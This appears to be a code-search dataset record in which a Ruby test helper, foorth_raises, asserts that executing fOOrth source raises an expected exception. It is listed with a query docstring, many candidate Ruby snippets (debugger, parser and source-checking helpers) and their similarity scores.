"def source_code\n next_node_line =\n if next_node\n next_node.line - 1\n else\n @document.source_lines.count + 1\n end\n\n @document.source_lines[@line - 1...next_node_line]\n .join(\"\\n\")\n .gsub(/^\\s*\\z/m, '') # Remove blank lines at the end\n end", "def source_line=(_); end", "def breakpoint_position(args)\n first = args.shift\n name, container, position = parse_position(first, nil, true)\n if container && position\n iseq = find_iseqs_with_lineno(container[1], position) || object_iseq(first)\n unless iseq\n if @frame.iseq && \n File.basename(@frame.iseq.source_container[1]) == \n File.basename(container[1])\n iseq = @frame.iseq\n else\n errmsg(\"Unable to find instruction sequence for\" + \n \" position #{position} in #{container[1]}\")\n return [nil, nil, nil, true]\n end\n end\n if args.empty? || 'if' == args[0]\n use_offset = false \n else\n position, use_offset = parse_num_or_offset(args[0])\n end\n else\n iseq = object_iseq(first)\n position_str = \n if iseq\n # Got name and possibly position\n name = first\n if args.empty? \n # FIXME: *Still* have a bug stopping at offset 0.\n # So stop at next offset after 0.\n # 'o0' \n \"o#{@frame.iseq.offsetlines.keys.sort[1]}\"\n else\n args.shift\n end\n else\n iseq = @frame.iseq unless container\n first\n end\n position, use_offset = parse_num_or_offset(position_str)\n end\n condition = 'true'\n if args.size > 0 && 'if' == args[0] \n condition_try = args[1..-1].join(' ')\n condition = condition_try if valid_condition?(condition_try)\n end\n return [position, iseq, use_offset, condition, name]\n end", "def inspect\n ss = @stack.map {|step| \"#{step[0]} #{LS.stringify step[1]}\"}\n return \"#<#{ss.join \"\\n\\t\"}>\"\n end", "def find source=nil\n source || if first_caller = caller.find {|f| not f.start_with? __FILE__ }\n first_caller.sub(/:\\d+.*$/, '')\n end\n end", "def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end", "def scan\n source.each.with_index do |line, index|\n loc_num = index + 1\n\n line_detection = AxR.app.layer_names.detect { |layer| line.include?(layer) }\n line_detection = check_space_before(line, line_detection)\n line_detection = nil if context && module_definition?(line, line_detection)\n line_detection = nil if commented?(line, line_detection)\n context_detection = AxR.app.layer_names.detect { |layer| module_definition?(line, layer) }\n\n next unless context_detection || line_detection\n\n detect_context(context_detection, line, loc_num) if context_detection && !context\n detect_dependency(line_detection, line, loc_num)\n detect_warning(line_detection, line, loc_num) if context && line_detection\n end\n\n self\n end", "def source_elements\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n return_value = SourceElementsReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n statement2 = nil\n statement3 = nil\n\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 256:5: statement ( statement )*\n @state.following.push( TOKENS_FOLLOWING_statement_IN_source_elements_1780 )\n statement2 = statement\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, statement2.tree )\n end\n # at line 256:15: ( statement )*\n while true # decision 2\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == GENERAL || look_2_0 == GET || look_2_0 == ARROW || look_2_0 == IF || look_2_0 == REGEX || look_2_0 == INCR || look_2_0 == BREAK || look_2_0 == RETURN || look_2_0 == IS_DEFINED || look_2_0 == LBRACE || look_2_0 == LBRACK || look_2_0.between?( SEMI, CONST ) || look_2_0.between?( SET, LET ) || look_2_0 == DDOC || look_2_0.between?( DECR, LPAREN ) || look_2_0 == DELETE || look_2_0.between?( DGENERAL, DO ) || look_2_0 == THROW || look_2_0 == TILDE || look_2_0 == TRUE || look_2_0 == TRY || look_2_0.between?( TYPEOF, NEW ) || look_2_0.between?( EACH, UNDEFINED ) || look_2_0.between?( NULL, UNLESS ) || look_2_0 == UNTIL || look_2_0 == FALSE || look_2_0 == VAR || look_2_0.between?( VOID, FOR ) || look_2_0 == WHILE || look_2_0.between?( WITH, YIELD ) || look_2_0.between?( IS_UNDEFINED, DOC ) || look_2_0.between?( T__148, T__150 ) )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 256:18: statement\n @state.following.push( TOKENS_FOLLOWING_statement_IN_source_elements_1785 )\n statement3 = statement\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, statement3.tree )\n end\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return return_value\n end" ]
[ "0.56363285", "0.55064595", "0.5483121", "0.54107827", "0.53877676", "0.5355571", "0.5336258", "0.5324759", "0.53176534", "0.5309316", "0.5291421", "0.52229327", "0.5220815", "0.5201189", "0.5191559", "0.5163625", "0.5132058", "0.5120024", "0.509449", "0.5086987", "0.5086938", "0.5083713", "0.5083713", "0.5083713", "0.5083713", "0.507206", "0.50699776", "0.5022808", "0.5018099", "0.5009198", "0.5008736", "0.5003668", "0.50031847", "0.5002175", "0.499906", "0.49956965", "0.49937996", "0.49865186", "0.49850404", "0.4971481", "0.49652967", "0.49650574", "0.49635983", "0.4954369", "0.49454203", "0.49298823", "0.4925678", "0.491031", "0.49087343", "0.48912662", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.48870546", "0.488475", "0.4875362", "0.48735973", "0.4872044", "0.4864459", "0.48642963", "0.48525986", "0.48522025", "0.48512718", "0.48512718", "0.4840812", "0.48212743", "0.48081326", "0.48062515", "0.47843152", "0.47834238", "0.4779297", "0.47758904", "0.4775314", "0.47627", "0.47614297", "0.4759629", "0.47587988", "0.47570965", "0.47561604", "0.4753507", "0.47467247", "0.4743757", "0.47423467", "0.47274557", "0.47209445", "0.47180563", "0.47097227", "0.47061974", "0.46991625", "0.4698348", "0.4696142", "0.469555", "0.4694935" ]
0.6517152
0
When the source is executed, does it raise err? Parameters: source A string containing fOOrth source code to execute. err The type of exception expected during execution. debug Set to true to display debug info.
def foorth_raises(source, err=XfOOrth::XfOOrthError, debug=false) self.assertions += 1 vm = Thread.current[:vm] vm.debug = debug failed, msg = false, "" begin vm.process_string(source) msg = "Expected: #{err}\n Actual: No exception raised." failed = true rescue Exception => e unless e.class == err msg = "Expected: #{err}\n Actual: #{e.class}" failed = true end end raise MiniTest::Assertion, msg, caller if failed ensure vm.debug = false vm.interpreter_reset vm.compiler_reset end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def execute_code source\n source.execute(@scope)\n rescue Exception => e\n message, name = @exception_service.get_exception_message(e)\n puts \"#{name}: #{message}\"\n end", "def handle(source)\n invoke(source) do\n yield\n return true\n end\n rescue SystemExit, Interrupt\n raise\n rescue Exception => e\n err_msg = error_message(e, source)\n\n @context.errors << err_msg\n @logger.error err_msg\n\n return false\n end", "def check(source)\n compiler = VishCompiler.new source\n begin\n compiler.parse\n compiler.transform\n compiler.analyze\n puts 'Syntax OK'\n 0\nrescue Parslet::ParseFailed => failure\n $stderr.puts \"Syntax Error: #{failure.message}\"\n $stderr.puts failure.parse_failure_cause.ascii_tree\n 1\n rescue CompileError => err\n $stderr.puts \"Compile error: #{err.message}\"\n 2\n end\nend", "def exec(source, options = {})\n raise NotImplementedError\n end", "def diagnose(source, api_map); end", "def check_source!\n raise \"#{@source_path} is not readable\" unless @source_path.readable?\n output = %x[ruby -c #{@source_path} 2>&1]\n raise \"#{@source_path} is not valid ruby:\\n#{output}\" unless $?.success?\n true\n end", "def augment_fail(send, line)\n @phase = :execute\n @code = make_runnable(@code)\n\n begin\n open(\"log/simplemode.log\", 'a') do |file|\n file.puts '--------------------------------'\n file.puts Time.now\n file.puts '--------------------------------'\n file.puts @augmented_code\n file.puts \"\\n\\n\\n\"\n\n @augmented_code = nil\n end\n ensure\n send.call([\n {:write_file => {:filename => @filename, :content => @code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n return {:type => :warning, :message => 'Start im vereinfachten Modus.'}\n end\n end", "def compile(source)\n raise CapabilitiesExceeded\n end", "def format_compile_error(file_name, file_path, reason,\n line, cursor); EMPTY; end", "def script_error(path, error); end", "def verify_source\n # subclasses must implement this method\n puts \"verify_source - not overloaded. file=#{filename}\"\n end", "def source() end", "def source=(statement); end", "def execute(source: nil, reg_init: nil)\n reset_emulator\n @regs.merge! reg_init if reg_init\n @program = compile(source) if source\n @program.each { |i| puts i.inspect } if @debug\n puts \"Instruction Count: #{@program.size}\" if @debug\n reason = catch :abort_execution do\n while program_counter_valid?\n instr = @program[@program_counter]\n puts \"pc=#{@program_counter}, regs=#{@regs.inspect}, instr=#{instr.inspect}\" if @debug\n send(instr[:cmd], instr[:args])\n end\n :pc_out_of_range\n end\n\n case reason\n when :finish\n 0\n when :recover\n last_freq\n when :pc_out_of_range\n puts 'Program counter was out of range'\n -1\n else\n -2\n end\n end", "def asmError( line, message )\n print \"Error on line \", line, \":\\n\"\n print message\n exit 1\nend", "def error(source, str, pos=nil)\n @last_cause = format_cause(source, str, pos)\n Fail.new(@last_cause)\n end", "def check_errors_for(source, options)\n return unless self.raise_runtime_errors\n\n source = source.to_s\n return if source.blank? || source =~ URI_REGEXP\n\n asset = lookup_asset_for_path(source, options)\n\n if asset && asset_needs_precompile?(asset.logical_path, asset.pathname.to_s)\n raise AssetFilteredError.new(asset.logical_path)\n end\n\n full_prefix = File.join(self.assets_prefix || \"/\", '')\n if !asset && source.start_with?(full_prefix)\n short_path = source[full_prefix.size, source.size]\n if lookup_asset_for_path(short_path, options)\n raise AbsoluteAssetPathError.new(source, short_path, full_prefix)\n end\n end\n end", "def foorth_output(source, expected)\r\n self.assertions += 1\r\n failed, msg = false, \"\"\r\n vm = Thread.current[:vm]\r\n\r\n actual, _nc = capture_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def exception_on_syntax_error=(_arg0); end", "def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend", "def load(filename, lineno, line)\n @code ||= ''\n to_exe = ''\n catch :reset do\n @code += line\n i = @code.index(@dispatch.meta)\n # explanation of odd indexing:\n # slice everything off code including meta character\n # then execute that slice, without the meta character\n if i\n to_exe = @code.slice!(0..i)[0...-1]\n execute(to_exe)\n end\n return true\n end\n puts to_exe\n puts \"Error on or before line #{lineno} of #{filename}\"\n return false\n end", "def err(cod)\n @st = :err\n @ie = cod\n end", "def debug_error(error, req = T.unsafe(nil), text = T.unsafe(nil)); end", "def process_source(source)\n return source if source.is_a?(String) && source =~ /\\n/\n\n source, _ = engine.fetch_source(source, { :view_path => options[:view_path] })\n source\n end", "def error(string); end", "def error(string); end", "def syntax_check_success(send, line)\n @phase = :augment\n @augmented_code = PythonCodeAugmenter.new(@code, @tracing_vars).to_a()\n\n # Trigger the new syntax check\n send.call([\n {:write_file => {:filename => @filename, :content => @augmented_code}},\n {:execute => {:command => \"#{VM_PYTHON} -c \\\"compile(open('#{@filename}').read(), '', 'exec')\\\" && echo success\",\n :stdout => 'augmentsuccess',\n :stderr => 'augmentfail'}}])\n\n # Don't output anything\n return {:type => :no}\n end", "def parse(source)\n call(source)\n rescue ::Slim::Parser::SyntaxError => e\n # Convert to our own exception type to isolate from upstream changes\n error = SlimLint::Exceptions::ParseError.new(e.error,\n e.file,\n e.line,\n e.lineno,\n e.column)\n raise error\n end", "def run_code(code)\n begin\n return eval(code)\n rescue\n return \"Error: Code doesn't run!\"\n end\n end", "def test_nonexistent_source\n assert_error \"FATAL: database \\\"db1\\\" does not exist\\n\", \"--from db1 --to pgsync_test2\"\n end", "def test_nonexistent_source\n assert_error \"FATAL: database \\\"db1\\\" does not exist\\n\", \"--from db1 --to pgsync_test2\"\n end", "def error?; end", "def error?; end", "def error?; end", "def source_line; end", "def check_source(code)\n check_parse_tree(Checker.parse_tree_for(code))\n end", "def error\n\t\t\traise 'Test'\n\t\tend", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def error; end", "def source_line(lineno); end", "def process_error(code, params= {})\n error = 'Error occured: line '+lex_analysis.line.uniq.length.to_s+': '\n case code\n when 'expecting'\n puts 'Spracovanie chyby: terminal na vrchu zasobnika, nezodpovedajuci vstup' if self.output\n error += 'expecting \"'+params[:stack_top]+'\", found \"'+input+'\"'\n position = lex_analysis.position\n puts 'Prechadzam vstup' if self.output\n while not (input.nil? or params[:stack_top] == input)\n puts 'Na vstupe '+self.input if self.output\n self.input = lex_analysis.get_lexical_unit()\n end\n if self.input.nil?\n self.input = params[:stack_top]\n lex_analysis.rewind(position)\n end\n\n self.stack.unshift(params[:stack_top])\n\n when 'unexpected'\n puts 'Spracovanie chyby: neterminal na vrchu zasobnika, neexistujuci prechod k danemu vstupu' if self.output\n error += 'Unexpected symbol \"' + input + '\".'\n puts 'Vyprazdnujem zasobnik:' if self.output\n while self.stack.length> 0 and not table.has_key? self.stack[0]\n sym = self.stack.shift\n puts 'Vybrany symbol '+sym if self.output\n end\n else\n error += code\n end\n\n # vlozenie chyby do zoznamu\n self.errors.push error\n end", "def source(src)\n if src.respond_to?(:getc)\n if src.is_a? String\n if File.exist?(src)\n sourc = File.new(src)\n @lexr[:in] = src\n else\n sourc = StringIO.new(src)\n @lexr[:in] = nil\n end\n end\n @source = sourc\n else\n raise SourceError.new(source = sourc)\n end\n end", "def test_rdf_fail\n assert_raise(ArgumentError) { @valid_source.test_predicate(\"foo\") }\n end", "def begin_investigation(processed_source); end", "def execute(ev)\r\n case language\r\n when :boolexp\r\n actor = get_object(ev.from)\r\n BoolExpParser.new(actor).parse(src)\r\n when :fart\r\n vars = {}\r\n vars['actor'] = get_object(ev.from)\r\n vars['this'] = get_object(ev.to)\r\n if ev.msg.kind_of?(GameObject)\r\n vars['args'] = get_object(ev.msg)\r\n else\r\n vars['args'] = ev.msg\r\n end\r\n load if !@prog\r\n compile if !@prog\r\n @prog ? @prog.execute(vars) : false\r\n else\r\n false\r\n end\r\n rescue Exception\r\n log.error $!\r\n false\r\n end", "def assert_file!\n raise MissingSource,\n \"Couldn't find the source file `#{@path}'\" unless @path.file?\n end", "def syntax_error(state, event, legal_events, line)\n end", "def test_code_1\n string = \"Line 321: Variable x is not initialized\\n\"\n assert_output(string) { Errorcode.error(1, 321, 'x') }\n end", "def run(source_code, filename: nil)\n return if source_code.empty?\n @results += process_ast(source_code, yield, filename: filename)\n end", "def cmd_debug_error(ex)\n if $verbose\n $stderr.puts \"error: #{$!.class}: #{$!.to_s}\"\n $!.backtrace.each {|b|\n $stderr.puts \" #{b}\"\n }\n $stderr.puts \"\"\n end\n end", "def cmd_debug_error(ex)\n if $verbose\n $stderr.puts \"error: #{$!.class}: #{$!.to_s}\"\n $!.backtrace.each {|b|\n $stderr.puts \" #{b}\"\n }\n $stderr.puts \"\"\n end\n end", "def valid_syntax_at?(source)\n errors = []\n warnings = []\n\n validate_record_mark_syntax(source, errors, warnings)\n validate_escaped_character_syntax(source, errors, warnings)\n\n Outcome.new(errors.empty?, nil, [], errors, warnings)\n end", "def source_helper(source_location, name = T.unsafe(nil)); end", "def run_code(code)\n @output.puts # spacer\n begin\n @output.puts \" BEGIN DEBUG \".center(WIDTH, '=')\n eval(code.join(\"\\n\")) # Need to join, since +code+ is an Array.\n @output.puts \" END DEBUG \".center(WIDTH, '=')\n rescue Exception => error\n @output.puts \" DEBUG FAILED \".center(WIDTH, '=')\n @output.puts error\n end\n @output.puts # spacer\n end", "def source(filename); end", "def test_close_on_error\n debugger = fdb :debugger do |t|\n t.kill_on_fault = true\n t.file = @exception_swf\n t.run\n t.continue\n end\n \n assert_raises Sprout::FDBTaskError do\n debugger.invoke\n end\n \n end", "def exception_on_syntax_error; end", "def source_line=(_); end", "def code_snippet(source_file, source_line) #exception\n ##backtrace = exception.backtrace.reject{ |bt| bt =~ INTERNALS }\n ##backtrace.first =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #caller =~ /(.+?):(\\d+(?=:|\\z))/ or return \"\"\n #source_file, source_line = $1, $2.to_i\n\n source = source(source_file)\n\n radius = @radius # number of surrounding lines to show\n region = [source_line - radius, 1].max ..\n [source_line + (radius + 2), source.length].min\n\n # ensure proper alignment by zero-padding line numbers\n #format = \" %6s %0#{region.last.to_s.length}d %s\"\n #pretty = region.map do |n|\n # format % [('=>' if n == source_line), n, source[n-1].chomp]\n #end #.unshift \"[#{region.inspect}] in #{source_file}\"\n #pretty\n\n # create an ordered hash of line => code\n region.map do |n|\n {n => source[n-1].rstrip}\n end\n end", "def test_error_normal\n stack = TokenStack.new\n expected = 'Line 0: Testing'\n terp = Interpreter.new(false, true)\n error = terp.error(0, stack, 0, 'Testing')\n\n assert_equal expected, error\n end", "def error\n raise Exception, \"An example of what an error looks like if you make a mistake using Commandable.\"\n end", "def augment_success(send, line)\n @phase = :execute\n @augmented_code = make_runnable(@augmented_code)\n\n send.call([\n {:write_file => {:filename => @filename, :content => @augmented_code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n # Don't output anything\n return {:type => :no}\n end", "def error_eval(code, line, extra, file_read)\n case code\n when 1\n puts \"Line #{line}: Variable #{extra} has not been initialized\"\n when 3\n puts \"Line #{line}: #{extra} elements in stack after evaluation\"\n end\n exit code if file_read\n nil\n end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def source=(_arg0); end", "def error( text )\n puts \"Script #{@name} #{version} - Error: #{text}\"\n exit 1\n end", "def parse_source(source)\n lines = source.lines.to_a\n starting_line_index = @line_number - 1\n ending_line_index = starting_line_index\n sexp = nil\n while !sexp && ending_line_index < lines.size\n begin\n snippet = lines.to_a[starting_line_index..ending_line_index].join\n sexp = parser.parse(snippet)\n return ParsedCode.new(sexp)\n rescue Racc::ParseError\n ending_line_index += 1\n raise if ending_line_index >= lines.size\n end\n end\n end", "def error(exception) nil ; end", "def error(message) puts(message) || exit end", "def load_error=(_arg0); end", "def diagnose(filename); end", "def irrelevant_line?(source_line); end", "def do_it(code)\n eval(code)\nrescue \n puts \"Cannot do it!\"\nend", "def try(source, context)\n raise NotImplementedError, \\\n \"Atoms::Base doesn't have behaviour, please implement #try(source, context).\"\n end", "def fail_if_error(kind, err, bndng, filename, lineno)\n\n return if err < 1\n\n s = Lib.lua_tolstring(@pointer, -1, nil).read_string\n Lib.lua_settop(@pointer, -2)\n\n fail LuaError.new(kind, err, s, bndng, filename, lineno)\n end", "def call(source)\n case source\n when File, Tempfile then source.read\n when StringIO then source.string\n else source.to_s\n end\n end", "def _validate_source(s)\n if git = s[:git]\n tag, commit = s.values_at(:tag, :commit)\n version = spec.version.to_s\n\n if git =~ %r{http://EXAMPLE}\n results.add_error('source', 'The Git source still contains the ' \\\n 'example URL.')\n end\n if commit && commit.downcase =~ /head/\n results.add_error('source', 'The commit of a Git source cannot be' \\\n ' `HEAD`.')\n end\n if tag && !tag.to_s.include?(version)\n results.add_warning('source', 'The version should be included in' \\\n ' the Git tag.')\n end\n if tag.nil?\n results.add_warning('source', 'Git sources should specify a tag.', true)\n end\n end\n\n perform_github_source_checks(s)\n check_git_ssh_source(s)\n end", "def syntax_check_fail(send, line)\n # Send the exit command if that hasn't already happened\n if not @exit_sent\n send.call([{:exit => {:successful => false}}])\n @exit_sent = true\n end\n\n # Output the error line\n return error_line(line)\n end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end", "def source; end" ]
[ "0.658366", "0.602478", "0.58708334", "0.58195186", "0.573926", "0.5697565", "0.563682", "0.5585326", "0.5515037", "0.5498707", "0.5452647", "0.5423247", "0.5377079", "0.53615063", "0.5344714", "0.53347415", "0.53341156", "0.5292102", "0.52579993", "0.5241385", "0.5228521", "0.52021676", "0.5193024", "0.5175769", "0.51755387", "0.51755387", "0.51738924", "0.51636213", "0.5158378", "0.5155264", "0.5155264", "0.51382416", "0.51382416", "0.51382416", "0.5133071", "0.5131935", "0.5124413", "0.5108174", "0.5108174", "0.5108174", "0.5108174", "0.5108174", "0.5108174", "0.5108174", "0.5096652", "0.50937617", "0.50854754", "0.5077833", "0.5077162", "0.50708467", "0.50623757", "0.50582176", "0.505731", "0.5037302", "0.5018631", "0.5018631", "0.5011621", "0.49815872", "0.4981386", "0.4970266", "0.49696925", "0.49695632", "0.49692813", "0.49514407", "0.49425644", "0.4940197", "0.49365056", "0.49133486", "0.4904829", "0.4904829", "0.4904829", "0.4904829", "0.4904829", "0.48999873", "0.48883215", "0.48842445", "0.4882582", "0.48801222", "0.48747826", "0.48699212", "0.48695913", "0.486292", "0.48556048", "0.48528108", "0.48499843", "0.48434943", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249", "0.4833249" ]
0.72055614
0
When the source is executed, does the stdout match? Parameters: source A string containing fOOrth source code to execute. expected A string with the expected console output.
def foorth_output(source, expected) self.assertions += 1 failed, msg = false, "" vm = Thread.current[:vm] actual, _nc = capture_io do vm.process_string(source) end if expected != actual msg = "Expected: #{expected.inspect}\n Actual: #{actual.inspect}" raise MiniTest::Assertion, msg, caller end ensure vm.interpreter_reset vm.compiler_reset end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def foorth_utf8_output(source, expected)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n\r\n actual = capture_foorth_io do\r\n vm.process_string(source)\r\n end\r\n\r\n if expected != actual\r\n msg = \"Expected: #{expected.inspect}\\n Actual: #{actual.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n\r\n ensure\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def assert(code, output, *args)\n eval(code, *args).stdout == output\n end", "def foorth_equal(source, remainder=[], debug=false)\r\n self.assertions += 1\r\n vm = Thread.current[:vm]\r\n vm.debug = debug\r\n vm.process_string(source)\r\n\r\n unless remainder == vm.data_stack\r\n msg = \"Expected: #{remainder.inspect}\\n Actual: #{vm.data_stack.inspect}\"\r\n raise MiniTest::Assertion, msg, caller\r\n end\r\n ensure\r\n vm.debug = false\r\n vm.interpreter_reset\r\n vm.compiler_reset\r\n end", "def check_actual_vs_expected_output(actual_output_filename, expected_output_filename)\n # Diff actual output against expected output\n cmd = ['diff', actual_output_filename, expected_output_filename]\n stdout_str, stderr_str, status = Open3.capture3(*cmd, stdin_data: '')\n if status.success?\n puts \"Test passed!\"\n exit 0\n else\n puts \"Test failed\"\n puts \"Diff output:\"\n puts stdout_str\n exit 1\n end\nend", "def verify_source\n # subclasses must implement this method\n puts \"verify_source - not overloaded. file=#{filename}\"\n end", "def test_ut_diff_result_02\n original_source_code = OriginalSourceCode.new(\n :original_file_id => 10,\n :line_number => 349898,\n :error_line => 4564,\n :line_content => \"123456\"\n )\n assert_equal(10,original_source_code.original_file_id)\n assert_equal(349898,original_source_code.line_number)\n assert_equal(4564,original_source_code.error_line)\n assert_equal(\"123456\",original_source_code.line_content)\n end", "def test_preprocessor(preprocessor,input,expected)\n # Prepare the output and the input streams\n puts \"Preparing the input and ouput streams...\"\n output = StringIO.new(\"\")\n # Process the input and exepected arguments.\n if !input.respond_to?(:each_line) or input.is_a?(String) then\n # input is actually a file name, open it.\n input = File.open(input.to_s,\"r\")\n end\n if !expected.respond_to?(:each_line) or expected.is_a?(String) then\n # expected is actually a file name, open it.\n expected = StringIO.new(File.read(expected.to_s))\n end\n\n # Apply the preprocessor\n puts \"Applying the preprocessor...\"\n preprocessor.preprocess(input,output)\n\n # Check the result\n puts \"Checking the result...\"\n output.rewind\n check = output.string == expected.read\n\n unless check\n puts \"*Error*: invalid expansion result.\"\n iline = output.string.each_line\n expected.rewind\n expected.each_line.with_index do |exp_line,i|\n line = iline.next\n puts \"exp_line=#{exp_line}\"\n puts \"line=#{line}\"\n if exp_line != line then\n puts \"Expected line #{i+1}:\\n#{exp_line}\"\n puts \"got:\\n#{line}\"\n end\n end\n return false\n end\n return true\nend", "def check_source!\n raise \"#{@source_path} is not readable\" unless @source_path.readable?\n output = %x[ruby -c #{@source_path} 2>&1]\n raise \"#{@source_path} is not valid ruby:\\n#{output}\" unless $?.success?\n true\n end", "def execute_and_compare_stdout_with cmd, args, options, expected_output\n output = capture_stdout do\n cmd.execute(args, options)\n end\n output.should == expected_output\nend", "def assert_outputted(str)\n assert_includes output, str\n end", "def runTest()\n # open program\n stdin, stdout, stderr, wait_thr = Open3.popen3(@definition.executable, *@definition.arguments)\n\n # put input template to program\n if File.file?(@definition.stdin)\n expect_stdin = IO.readlines(@definition.stdin)\n else\n expect_stdin = [ ]\n end\n\n expect_stdin.each do |x| stdin.puts x end\n stdin.close\n\n # store program output\n result_stdout = stdout.readlines\n result_stderr = stderr.readlines\n stdout.close\n stderr.close\n\n # retreive exit status\n result_status = wait_thr.value.exitstatus\n\n # compare program stdout\n if File.file?(@definition.stdout)\n expect_stdout = IO.readlines(@definition.stdout)\n else\n expect_stdout = [ ]\n end\n mismatch_stdout = compare(expect_stdout, result_stdout)\n\n # compare program stderr\n if File.file?(@definition.stderr)\n expect_stderr = IO.readlines(@definition.stderr)\n else\n expect_stderr = [ ]\n end\n mismatch_stderr = compare(expect_stderr, result_stderr)\n\n # compare program output files\n mismatch_files = false\n @definition.files.each do |output_file, file|\n if File.file?(file)\n expect_file = IO.readlines(file)\n else\n expect_file = [ ]\n end\n\n if File.file?(output_file)\n result_file = IO.readlines(output_file)\n else\n result_file = [ ]\n end\n mismatch_files |= compare(expect_file, result_file)\n end\n\n # compare program status\n mismatch_status = @definition.status != result_status\n\n # debugging output\n if @environment.verbose\n if mismatch_stdout\n puts \"mismatch in stdout\"\n end\n if mismatch_stderr\n puts \"mismatch in stderr\"\n end\n if mismatch_files\n puts \"mismatch in files\"\n end\n if mismatch_status\n puts \"mismatch in status\"\n end\n end\n\n # check the test results\n if !mismatch_stdout && !mismatch_stderr && !mismatch_files && ! mismatch_status\n return_value = false\n else\n return_value = true\n end\n\n return return_value\n end", "def assert_output_equal!(a, b, msg=nil)\n if a == b\n assert true\n else\n flunk %Q{\n#{msg}\n==================== expected output ====================\n#{whitespace_escape(a)}\n======================== but was ========================\n#{whitespace_escape(b)}\n=========================================================\n}\n end\n end", "def verify_output(*expected_output)\n actual_output = read_output_stream\n expected_output.each do |expected|\n assert actual_output.include?(expected.to_s), show_missing_output(expected, actual_output)\n end\nend", "def interpret(source)\n c = compile(source)\n ci = cifrom(c)\n ci.run\nend", "def test_basic\n testbase = 'help'\n op = StringIO.new('', 'w')\n Dir.chdir(SRC_DIR) do \n script = File.join('data', \"#{testbase}.cmd\")\n Debugger.const_set('Version', 'unit testing')\n Debugger.run_script(script, op)\n got_lines = op.string.split(\"\\n\")\n right_file = File.join('data', \"#{testbase}.right\")\n correct_lines = File.readlines(right_file)\n result = cheap_diff(got_lines, correct_lines)\n unless result\n puts '-' * 80\n puts got_lines \n puts '-' * 80\n end\n assert result \n end\n end", "def test_dsl_3\n #------------------\n show Spock - Lizard\n #------------------\n assert_equal \\\n \"Lizard poisons Spock (loser Spock)\\n\" \\\n \"Result = Spock\\n\", \\\n @out.string\n end", "def syntax_check_success(send, line)\n @phase = :augment\n @augmented_code = PythonCodeAugmenter.new(@code, @tracing_vars).to_a()\n\n # Trigger the new syntax check\n send.call([\n {:write_file => {:filename => @filename, :content => @augmented_code}},\n {:execute => {:command => \"#{VM_PYTHON} -c \\\"compile(open('#{@filename}').read(), '', 'exec')\\\" && echo success\",\n :stdout => 'augmentsuccess',\n :stderr => 'augmentfail'}}])\n\n # Don't output anything\n return {:type => :no}\n end", "def check(source)\n compiler = VishCompiler.new source\n begin\n compiler.parse\n compiler.transform\n compiler.analyze\n puts 'Syntax OK'\n 0\nrescue Parslet::ParseFailed => failure\n $stderr.puts \"Syntax Error: #{failure.message}\"\n $stderr.puts failure.parse_failure_cause.ascii_tree\n 1\n rescue CompileError => err\n $stderr.puts \"Compile error: #{err.message}\"\n 2\n end\nend", "def interp\n rboutput = `ruby #{RB_FILE} #{RBTEX_OUT}`\n if rboutput == ''\n puts 'Your ruby file had no puts statments'.green\n end\n return 0\nend", "def check_correct_output(expected_outputs, command_output)\n puts \"Command output:\"\n puts \"==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====\"\n puts \"#{command_output}\"\n puts \"==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====\"\n\n if expected_outputs.class == Array\n\n @lines = command_output.split(/\\n/)\n puts \"Feeder produced \" + @lines.length.to_s + \" lines of output.\"\n\n for expected_output in expected_outputs\n foundit = false;\n m = Regexp.compile(expected_output)\n @lines.each { |line|\n if 